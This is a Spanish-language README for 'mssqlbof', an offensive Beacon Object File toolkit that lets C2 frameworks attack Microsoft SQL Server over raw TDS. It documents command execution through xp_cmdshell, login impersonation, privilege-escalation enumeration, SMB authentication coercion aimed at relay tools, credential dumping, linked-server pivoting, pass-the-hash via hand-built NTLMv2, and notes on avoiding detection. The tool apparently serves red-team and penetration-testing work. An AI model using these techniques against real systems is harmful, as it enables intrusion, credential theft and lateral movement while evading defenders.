
Un conjunto de archivos de objeto Beacon para Microsoft SQL Server que habla TDS 7.4 directamente en el cable.
Un conjunto de Beacon Object Files para Microsoft SQL Server que habla directamente TDS 7.4 en el cable, en C. Sin msodbcsql.dll, sin sqloledb.dll, sin .NET CLR, sin PowerShell. Un COFF por arquitectura, se carga en cada beacon que respeta la API Beacon canónica.
SQL Server aparece en casi todos los compromisos. Las dos herramientas que la gente usa son SQLRecon / PowerUpSQL (CLR + PowerShell) y cualquier envoltorio de sqlcmd.exe. Ambas dejan mscoree.dll, eventos de PowerShell AMSI o una copia completa del controlador Microsoft ODBC en la memoria del beacon. Nada de eso es necesario: TDS son solo bytes enmarcados sobre TCP con un handshake de Schannel al frente, y cada beacon capaz de BOF ya tiene cargados ws2_32, secur32, schannel y bcrypt.
Por lo tanto, mssqlbof implementa TDS manualmente, en C, y se conecta directamente a las primitivas SSPI o BCrypt que el operador necesite para el objetivo. El beacon carga un objeto de ~48 KB, ejecuta SQL, lo descarga. Nada más entra en el proceso.
Un archivo objeto por arquitectura. mssql.x64.o es el mismo binario en todos los frameworks — solo usamos la API Beacon canónica (BeaconPrintf, BeaconDataExtract, etc.) y el patrón de importación dinámica <LIB>$<fn> que los cargadores de COFF resuelven en tiempo de ejecución.
apt install gcc-mingw-w64 libssl-dev
make
Produce build/mssql.x64.o y build/mssql.x86.o. Colócalo en el servidor del equipo, carga con el ejecutor de BOF de tu C2.
Todo pasa por un archivo objeto con --action <verbo>:
--action find LDAP enum of MSSQLSvc SPNs in the current forest
--action info --host <sql> server/version/current user/sysadmin/db
--action query --host <sql> --sql "..." arbitrary T-SQL, multi-row, multi-resultset
--action links --host <sql> linked-server enumeration (single hop)
--action exec --host <sql> --cmd "..." xp_cmdshell with auto enable + restore
--action impersonate --host <sql> --discover list logins you can EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
run T-SQL as X via EXECUTE AS LOGIN
--action privesc --host <sql> six-section privesc surface enumeration
--action coerce --host <sql> --to "\\listener\x"
xp_dirtree SMB auth coercion
--action passwords --host <sql> dump sys.linked_logins + sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find se ejecuta sin un host — se comunica con el DC del operador a través de LDAP.
Cuatro modos. Cada modo se verifica de extremo a extremo contra SQL Server 2019 tanto en COFFLoader como en Adaptix C2 en un dominio real.
--auth sspi (default) current beacon thread token
Kerberos if SPN exists, NTLM otherwise.
Honors make_token / steal_token.
--auth ntlm --domain D --user U --pass P explicit NTLM plaintext.
Drives SSPI NTLM package, multi-leg.
--auth ntlm --domain D --user U --hash <NT> pass-the-hash.
Hand-rolled NTLMv2 (see below).
No SSPI, no lsass, no make_token.
--auth sql --user U --pass P SQL authentication.
--hash toma un hash NT hexadecimal de 32 caracteres o la forma LM:NT que emite secretsdump.
SSPI + SEC_WINNT_AUTH_IDENTITYAcquireCredentialsHandleW(NULL, "NTLM", ...) solo acepta contraseñas en texto plano en la estructura de identidad de credenciales. El proveedor NTLM deriva el hash NT internamente. Proporcionarle un hash requiere parchear lsass (lo que hace Mimikatz sekurlsa::pth) o ejecutar el beacon bajo un proceso sacrificial que ya estaba preautenticado.
La alternativa — la que tomamos — es omitir SSPI por completo para PTH y generar los mensajes NTLMSSP nosotros mismos. src/tds/ntlm_pth.c construye un Type 1 NEGOTIATE, analiza el Type 2 CHALLENGE del servidor desde el token TDS 0xED, ejecuta las matemáticas NTLMv2 con el proveedor HMAC-MD5 de bcrypt.dll, y escribe un Type 3 AUTHENTICATE que SQL Server pasa felizmente al DC.
El primer intento falló con error 18452: login is from an untrusted domain. Capturar la autenticación funcional de Impacket en el cable junto a la nuestra lo redujo rápidamente: estábamos enviando 24 ceros para la respuesta LMv2 y la sopa completa de banderas de negociación de Windows 0xe288... Igualar el cálculo LMv2 de Impacket y su conjunto de banderas más pequeño 0xa2880205 (sin KEY_EXCH, sin SIGN, sin ALWAYS_SIGN) hizo que el servidor aceptara el hash. Escrito en BLOG.
--action exec--impersonate auto (default) try EXECUTE AS LOGIN, then TRUSTWORTHY hop
--impersonate login EXECUTE AS LOGIN via an IMPERSONATE grant
--impersonate trustworthy hop through dbo of a sysadmin-owned TRUSTWORTHY db
--impersonate none fail if not sysadmin
privesc enumera la superficie antes de elegir un método: membresía de sysadmin, concesiones IMPERSONATE (con el estado de sysadmin del inicio de sesión objetivo), bases de datos TRUSTWORTHY propiedad de un sysadmin (con tu acceso), servidores vinculados, permisos a nivel de servidor y estado de xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # cross-compile BOFs to x64 + x86
make tds # Linux shared library of the TDS core (for fuzzing / tests)
La biblioteca compartida de Linux comparte todos los archivos fuente de TDS con la compilación de Windows; solo tls_schannel.c / sspi.c / ntlm_pth.c se intercambian por sus equivalentes OpenSSL / stub.
Nada llama a libc o Win32 directamente. Cada símbolo externo pasa por la convención de importación dinámica <LIB>$<fn> en src/common/dynimports.h. Verifícalo con:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Solo deberían aparecer MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, y __imp_Beacon*. No msodbcsql.dll. No sqloledb.dll. No mscoree.dll.
Todo TLS es Schannel real (no un stub) con la peculiaridad de envoltura PRELOGIN de SQL Server manejada: el handshake se ejecuta dentro de paquetes TDS PRELOGIN tipo 0x12, luego LOGIN7 sale como datos de aplicación TLS sin procesar, y el servidor responde ese primer paquete de inicio de sesión en texto plano. Las continuaciones SSPI de múltiples etapas también van en texto plano — si las cifras con TLS, SRV02 simplemente cierra el socket.
v0.1.2 — autenticación múltiple, PTH, 11 acciones, verificado en laboratorio.
mssql.x64.o) con 11 accionesexec: login, trustworthy, auto, noneCasos límite conocidos:
OPENQUERY es v0.2.do_connect lo drena — el efecto secundario es la línea [*] connected as ... que registra cada acción. La causa raíz está en la ruta de lectura posterior a LOGINACK y recibirá una corrección adecuada en v0.2.Cobalt-Strike/bof_template por la superficie de la API Beacon canónica a la que este proyecto se adhiere exactamente.TrustedSec/COFFLoader por un cargador independiente para probar.impacket's ntlm.py y mssqlclient.py — la referencia que comparamos al perseguir la sopa de banderas NTLMv2.[MS-TDS] y [MS-NLMP] — las especificaciones que sigue todo este código hecho a mano.Opus 4.6 — Partes de la documentación fueron redactadas con la ayuda de Opus 4.6. Todo el código está escrito a mano por MÍ y verificado de extremo a extremo en el laboratorio.MIT.
| C2 | x64 | x86 |
|---|
| Cobalt Strike | sí | sí |
| Havoc | sí | sí |
| Sliver | sí | sí |
| BruteRatel | sí | sí |
| Nighthawk | sí | sí |
| Outflank Stage1 | sí | sí |
| AdaptixC2 | sí | sí |
Metasploit execute_bof | sí | sí |
| PoshC2 | sí | sí |
| Acción | DLLs adicionales más allá de la línea base del beacon | Traza del lado del servidor | Notas |
|---|
find | wldap32 | Evento 1644 del DC (raro) | Solo LDAP, sin tocar SQL |
info / query / links / privesc / passwords | secur32 o bcrypt, schannel, ws2_32 | Auditoría SQL 33205 si está habilitada | TDS puro, sin huella ODBC |
exec | lo mismo | xp_cmdshell + sp_configure en la traza predeterminada | Ruidoso. Usa --impersonate desde un inicio de sesión con pocos privilegios para evitar aterrizar como NT SERVICE |
impersonate | lo mismo | Auditoría EXECUTE AS 33205 + 33206 | |
coerce | lo mismo | Intento de xp_dirtree registrado | Apúntalo a responder / ntlmrelayx |
chain | lo mismo | EXEC AT registrado en el servidor vinculado objetivo | Primitiva de pivote |
| Documento | Contenido |
|---|
docs/PROTOCOL.md | Inmersión profunda en TDS 7.4: estructura de paquetes, flujo de opciones PRELOGIN, ofuscación de contraseña LOGIN7, ALL_HEADERS en SQLBatch, la gramática del flujo de tokens (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / continuación SSPI 0xED), la peculiaridad del handshake TLS, el bombeo NTLM de múltiples etapas. |
docs/OPERATOR.md | Guía de laboratorio integral: compilación, levantar un listener de Adaptix, colocar un beacon en un host Windows, ejecutar cada acción con cada modo de autenticación (incluyendo PTH), y notas de portabilidad entre C2. |
docs/OPSEC.md | Huella por acción en el cable y en memoria. Qué carga cada acción en el beacon, qué deja en la auditoría SQL y qué puede ver un defensor. |
docs/COMPATIBILITY.md | Matriz de frameworks C2, matriz de versiones de SQL Server, y qué modos de autenticación están verificados contra qué objetivos. |
BLOG | La narrativa de depuración: cómo se construyó la implementación de pass-the-hash, con capturas de red, la pista falsa de los cero bytes LMv2 y la comparación con tshark contra Impacket que lo resolvió. |